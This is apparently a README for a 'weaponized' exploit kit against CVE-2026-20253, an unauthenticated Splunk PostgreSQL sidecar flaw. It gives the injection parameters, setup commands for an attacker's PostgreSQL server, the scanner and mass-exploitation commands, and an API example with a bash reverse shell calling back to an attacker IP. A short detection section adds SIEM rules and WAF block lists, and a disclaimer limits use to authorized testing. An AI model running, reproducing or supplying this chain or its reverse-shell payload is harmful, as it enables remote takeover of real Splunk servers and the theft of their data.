# CVE-2026-20253 Splunk Exploit Kit

**CVE-2026-20253 — Splunk Enterprise/Cloud PostgreSQL Sidecar Service**  
**Unauthenticated Arbitrary File Creation/Truncation → Full RCE**  
**Military-Grade Multi-Stage Exploitation via pg_dump/pg_restore Chain**

![Severity](https://img.shields.io/badge/Severity-Critical-red)
![CVSS](https://img.shields.io/badge/CVSS-9.8-red)
![Status](https://img.shields.io/badge/Status-Weaponized-red)

---

## Overview

CVE-2026-20253 is a critical vulnerability in **Splunk Enterprise** and **Splunk Cloud Platform** that allows **unauthenticated remote attackers** to create or truncate arbitrary files via a PostgreSQL sidecar service endpoint. The vulnerability has a **CVSS 9.8** score and can lead to full remote code execution.

### Affected Versions

| Product | Vulnerable Versions |
|---------|---------------------|
| **Splunk Enterprise** | 10.0.0 - 10.0.6, 10.2.0 - 10.2.3 |
| **Splunk Cloud Platform** | < 10.4.2604.3, < 10.2.2510.14 |

### Key Properties

| Property | Value |
|----------|-------|
| **CVE** | CVE-2026-20253 |
| **CVSS v3.1** | 9.8 |
| **CWE** | CWE-306 (Missing Authentication) |
| **Attack Vector** | Network |
| **Authentication** | None required |
| **User Interaction** | None |
| **Impact** | RCE, Data Destruction, Privilege Escalation |

---

## Technical Details

### Root Cause

The **PostgreSQL Sidecar Service** in Splunk exposes REST endpoints (`/v1/postgres/recovery/backup` and `/v1/postgres/recovery/restore`) that are proxied through the main Splunk web application (`splunkd`) on port 8000. These endpoints:

1. **Lack authentication controls** — empty `Authorization: Basic Og==` header works
2. **Pass user input directly to `pg_dump`/`pg_restore`** — allowing PostgreSQL connection string injection
3. **Run as `splunk` user** — enabling file write to Splunk installation paths

### Vulnerable Endpoints

| Endpoint | Method | Purpose |
|----------|--------|---------|
| `/en-US/splunkd/__raw/v1/postgres/recovery/backup` | POST | Dump PostgreSQL database to file |
| `/en-US/splunkd/__raw/v1/postgres/recovery/restore` | POST | Restore database from backup file |
| `/en-US/splunkd/__raw/v1/postgres/recovery/status/{id}` | GET | Check operation status |

### Exploitation Chain (WatchTowr Research)

The full exploitation chain requires **4 stages**:

```
┌─────────────────────────────────────────────────────────────────────────────┐
│ STAGE 0: Attacker Infrastructure                                            │
│ • Deploy PostgreSQL server with malicious database                          │
│ • Database contains SQL with lo_export() for arbitrary file write           │
└─────────────────────────────────────────────────────────────────────────────┘
                                ↓
┌─────────────────────────────────────────────────────────────────────────────┐
│ STAGE 1: /backup endpoint — pg_dump with hostaddr injection                │
│ POST /en-US/splunkd/__raw/v1/postgres/recovery/backup                      │
│ {                                                                           │
│   "database": "hostaddr=ATTACKER_IP dbname=testdb",                        │
│   "backupFile": "/tmp/splunk_poc"                                           │
│ }                                                                           │
│ • Splunk's pg_dump connects to attacker PostgreSQL                         │
│ • Dumps attacker-controlled DB to arbitrary path on Splunk filesystem      │
└─────────────────────────────────────────────────────────────────────────────┘
                                ↓
┌─────────────────────────────────────────────────────────────────────────────┐
│ STAGE 2: /restore endpoint — pg_restore with passfile injection            │
│ POST /en-US/splunkd/__raw/v1/postgres/recovery/restore                     │
│ {                                                                           │
│   "database": "dbname=template1 passfile=/opt/splunk/.../.pgpass",         │
│   "backupFile": "/tmp/splunk_poc"                                           │
│ }                                                                           │
│ • Uses Splunk's .pgpass for auth to local PostgreSQL                       │
│ • Restores attacker's malicious SQL dump into local DB                     │
└─────────────────────────────────────────────────────────────────────────────┘
                                ↓
┌─────────────────────────────────────────────────────────────────────────────┐
│ STAGE 3: Malicious SQL Execution — lo_export() arbitrary file write        │
│ • Restored SQL contains function using lo_export() to write files          │
│ • Writes attacker-controlled content to arbitrary path                     │
│ • Overwrites Splunk Python script (e.g., ssg_enable_modular_input.py)      │
└─────────────────────────────────────────────────────────────────────────────┘
                                ↓
┌─────────────────────────────────────────────────────────────────────────────┐
│ STAGE 4: RCE — Overwritten Python script executes on next Splunk run       │
│ • Target: /opt/splunk/etc/apps/splunk_secure_gateway/bin/                 │
│   ssg_enable_modular_input.py                                               │
│ • Payload: Reverse shell or arbitrary command execution                    │
└─────────────────────────────────────────────────────────────────────────────┘
```

### Key Injection Vectors

| Parameter | Injection | Effect |
|-----------|-----------|--------|
| `database` (backup) | `hostaddr=ATTACKER_IP dbname=DB` | Forces `pg_dump` to connect to attacker DB |
| `database` (restore) | `dbname=template1 passfile=/path/.pgpass` | Uses local `.pgpass` for auth |
| `backupFile` | `../../../../tmp/pwned` | Path traversal for arbitrary write |
| `Authorization` | `Basic Og==` (empty) | No auth required |

---

## Repository Structure

```
splunk_20253_upgraded/
├── requirements.txt          # Python dependencies
├── scanner.py                # Async reconnaissance scanner
├── exploit.py                # Full multi-stage exploitation framework
└── README.md                 # This file
```

---

## Quick Start

### 1. Install Dependencies

```bash
python3.11 -m venv .venv
source .venv/bin/activate
pip install --upgrade pip
pip install -r requirements.txt
```

### 2. Prerequisites: Attacker PostgreSQL Setup

```bash
# On attacker machine (10.0.0.5 in examples)
# Install PostgreSQL
sudo apt-get install postgresql postgresql-contrib

# Configure passwordless auth for test user
sudo -u postgres psql -c "CREATE USER test SUPERUSER;"
sudo -u postgres psql -c "ALTER USER test WITH PASSWORD '';"
sudo -u postgres psql -c "CREATE DATABASE testdb OWNER test;"

# Configure pg_hba.conf for passwordless connections from Splunk host
echo "host testdb test 0.0.0.0/0 trust" >> /etc/postgresql/*/main/pg_hba.conf
systemctl restart postgresql

# Enable lo_export (requires superuser)
sudo -u postgres psql -d testdb -c "CREATE EXTENSION IF NOT EXISTS lo;"
```

### 3. Reconnaissance Scan

```bash
# CIDR sweep
python scanner.py -n 10.0.0.0/24 -o scan_results.json

# Single target
python scanner.py -t 10.0.0.50

# Target list
python scanner.py -f targets.txt --threads 200

# Sample output:
# Target: 10.0.0.50
# Status: VULNERABLE (confidence: 95%)
#   >>> CVE-2026-20253 CONFIRMED
#   → Version: 10.2.2 (vulnerable)
#   → /v1/postgres/recovery/backup accessible without auth
#   → /v1/postgres/recovery/restore accessible without auth
```

### 4. Exploitation

```bash
# Full chain with reverse shell (requires attacker PostgreSQL)
python exploit.py -t 10.0.0.50 \
  --attacker-db 10.0.0.5 \
  --lhost 10.0.0.5 \
  --lport 4444

# Custom RCE target
python exploit.py -t 10.0.0.50 \
  --attacker-db 10.0.0.5 \
  --rce-target /opt/splunk/etc/apps/splunk_secure_gateway/bin/ssg_enable_modular_input.py \
  --lhost 10.0.0.5 --lport 4444

# Mass exploitation
python exploit.py -f targets.txt \
  --attacker-db 10.0.0.5 \
  --lhost 10.0.0.5 -o results.json
```

---

## Exploit Module API

### Direct Function Calls

```python
from exploit import (
    stage1_backup_dump,
    stage2_restore_malicious,
    create_malicious_database,
    run_full_chain,
    mass_exploit,
)

# Stage 1: Backup dump to arbitrary file
ok, details = stage1_backup_dump(
    "10.0.0.50",
    attacker_db_host="10.0.0.5",
    backup_file="/tmp/splunk_poc"
)

# Stage 2: Restore malicious SQL
ok, details = stage2_restore_malicious(
    "10.0.0.50",
    backup_file="/tmp/splunk_poc"
)

# Create malicious database on attacker host
ok = create_malicious_database(
    db_host="10.0.0.5",
    db_port=5432,
    db_name="testdb",
    db_user="test",
    rce_target_file="/opt/splunk/etc/apps/splunk_secure_gateway/bin/ssg_enable_modular_input.py",
    rce_payload='import os; os.system("bash -c \'bash -i >& /dev/tcp/10.0.0.5/4444 0>&1\'")'
)

# Full automated chain
results = run_full_chain(
    "10.0.0.50",
    attacker_db_host="10.0.0.5",
    lhost="10.0.0.5",
    lport=4444
)

# Mass exploitation
results = mass_exploit(
    ["10.0.0.50", "10.0.0.51"],
    attacker_db_host="10.0.0.5",
    lhost="10.0.0.5",
    lport=4444
)
```

---

## Detection & Mitigation

### Network Indicators

| Indicator | Description |
|-----------|-------------|
| POST `/en-US/splunkd/__raw/v1/postgres/recovery/backup` with `hostaddr=` | Stage 1 exploitation |
| POST `/en-US/splunkd/__raw/v1/postgres/recovery/restore` with `passfile=` | Stage 2 exploitation |
| `Authorization: Basic Og==` | Empty credentials (auth bypass) |
| PostgreSQL connection from Splunk host to external IP | Stage 1 callback |

### SIEM Detection Rules

```yaml
# CVE-2026-20253 Backup Endpoint Abuse
title: Splunk CVE-2026-20253 Backup Endpoint Abuse
detection:
  selection:
    request_method: POST
    request_uri|contains: "/v1/postgres/recovery/backup"
    request_body|contains: "hostaddr="
  condition: selection
level: critical

# CVE-2026-20253 Restore Endpoint Abuse
title: Splunk CVE-2026-20253 Restore Endpoint Abuse
detection:
  selection:
    request_method: POST
    request_uri|contains: "/v1/postgres/recovery/restore"
    request_body|contains: "passfile="
  condition: selection
level: critical

# Auth Bypass Detection
title: Splunk Auth Bypass - Empty Credentials
detection:
  selection:
    request_header: "Authorization"
    request_header_value|contains: "Basic Og=="
  condition: selection
level: high
```

### Mitigations

1. **Immediate**: Update Splunk Enterprise to **>= 10.0.7** or **>= 10.2.4**
2. **Network**: Restrict Splunk management port (8000/8089) to internal network only
3. **Disable Sidecar**: If not required, disable PostgreSQL sidecar service
4. **WAF**: Deploy rules blocking:
   - `hostaddr=` in backup endpoint
   - `passfile=` in restore endpoint
   - Empty `Authorization: Basic Og==`
5. **Monitoring**: Alert on:
   - Unauthorized file creation in `/opt/splunk/`
   - External PostgreSQL connections from Splunk host
   - Modifications to `ssg_enable_modular_input.py`

---

## Weaponization Features

| Feature | Implementation |
|---------|----------------|
| **Full Chain Automation** | Single command executes all 4 stages |
| **Attacker DB Auto-Setup** | Creates malicious DB with `lo_export` payload |
| **PostgreSQL Injection** | `hostaddr`/`passfile` connection string injection |
| **Arbitrary File Write** | `lo_export` in restored SQL writes any file |
| **RCE Target Selection** | Configurable Splunk Python script overwrite |
| **Reverse Shell Payload** | Auto-generates Python reverse shell |
| **Parallel Mass Exploit** | ThreadPoolExecutor with configurable workers |
| **Stage Verification** | Confirms each stage before proceeding |

---

## Legal & Ethics

This toolkit is provided for:
- Authorized penetration testing of infrastructure you own
- CISA/NCC/NCSC-aligned defensive research
- Detection rule development and purple-team exercises
- Red team / bug bounty programmes with explicit written scope

**Unauthorized use against systems you do not own is a criminal offence** under CFAA (US), Computer Misuse Act (UK), GDPR Art. 32 (EU), and equivalent legislation worldwide.

Splunk and Splunk Enterprise are trademarks of Splunk Inc. No endorsement by Splunk is implied or intended.

---

## References

| Source | Description |
|--------|-------------|
| CVE-2026-20253 | https://nvd.nist.gov/vuln/detail/CVE-2026-20253 |
| Splunk Advisory SVD-2026-0603 | https://advisory.splunk.com/advisories/SVD-2026-0603 |
| WatchTowr Labs Analysis | https://labs.watchtowr.com/why-use-app-level-auth-when-every-database-has-auth-splunk-enterprise-cve-2026-20253-pre-auth-rce/ |
| Orca Security Blog | https://orca.security/resources/blog/cve-2026-20253-splunk-enterprise-rce-unauthenticated-file-operations/ |

---

## Version History

| Version | Date | Changes |
|---------|------|---------|
| 2.0.0 | 2026-06-14 | Complete rewrite: full 4-stage chain, PostgreSQL automation, WatchTowr techniques |
| 1.0.0 | 2026-06-10 | Initial release (basic PoC) |

---

## Author

Advanced Persistent Security Research  
Military-grade exploit engineering for authorized assessment only.